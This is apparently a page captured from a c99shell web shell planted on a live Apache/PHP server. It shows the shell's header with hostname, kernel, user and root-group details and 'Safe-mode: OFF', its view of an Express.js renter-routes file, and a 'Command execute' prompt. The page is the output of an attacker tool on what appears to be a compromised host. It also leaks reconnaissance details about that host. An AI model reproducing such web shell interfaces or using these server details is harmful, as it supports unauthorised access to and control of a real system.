Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/rentals.picotech.app/public_html/server/routes/ drwxr-xr-x |
Viewing file: Select action/file-type: import express from 'express'; import { Renter,Room,RenterDocument } from '../models/index.js'; import upload from '../middleware/upload.js'; const router = express.Router(); // GET all renters router.get('/', async (req, res) => { try { const renters = await Renter.findAll({ include: [ { model: Room, as: 'room', }, { model: RenterDocument, as: 'documents', } ] }); res.json(renters); } catch (err) { res.status(500).json({ error: 'Failed to fetch renters' }); } }); // GET one renter by ID router.get('/:id', async (req, res) => { try { const renter = await Renter.findByPk(req.params.id); if (!renter) return res.status(404).json({ error: 'Renter not found' }); res.json(renter); } catch (err) { res.status(500).json({ error: 'Failed to fetch renter' }); } }); const uploadFields = upload.fields([ { name: 'documents', maxCount: 7 }, ]); // CREATE new renter router.post('/',uploadFields, async (req, res) => { try { const { bed_id,documentsMeta } = req.body; const hasRenter = await Renter.findOne({ where: { bed_id: bed_id } }); if (hasRenter) { return res.status(404).json({ error: 'Has an Renter' }); } const renter = await Renter.create(req.body); let metadataArray = []; try { metadataArray = JSON.parse(documentsMeta || '[]'); } catch (e) { return res.status(400).json({ error: 'Invalid documentsMeta format' }); } // Save uploaded documents if (req.files?.documents?.length > 0) { for (let i = 0; i < req.files.documents.length; i++) { const file = req.files.documents[i]; const meta = metadataArray[i] || {}; // fallback to empty await RenterDocument.create({ renter_id: renter.id, type: meta.type || 'unknown', description: meta.description || '', file_name: file.originalname, file_url: `/uploads/documents/${file.filename}`, file_size: file.size, mime_type: file.mimetype, }); } } res.status(201).json(renter); } catch (err) { res.status(400).json({ error: err.message }); } }); // UPDATE renter router.put('/:id', async (req, res) => { try { const { bed_id } = req.body; const hasRenter = await Renter.findOne({ where: { bed_id: bed_id } }); if (!hasRenter) { return res.status(404).json({ error: 'Has an Renter' }); } const renter = await Renter.findByPk(req.params.id); if (!renter) return res.status(404).json({ error: 'Renter not found' }); await renter.update(req.body); res.json(renter); } catch (err) { res.status(400).json({ error: err.message }); } }); // DELETE renter router.delete('/:id', async (req, res) => { try { const renter = await Renter.findByPk(req.params.id); if (!renter) return res.status(404).json({ error: 'Renter not found' }); await renter.destroy(); res.json({ message: 'Renter deleted' }); } catch (err) { res.status(500).json({ error: 'Failed to delete renter' }); } }); export default router; |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0031 ]-- |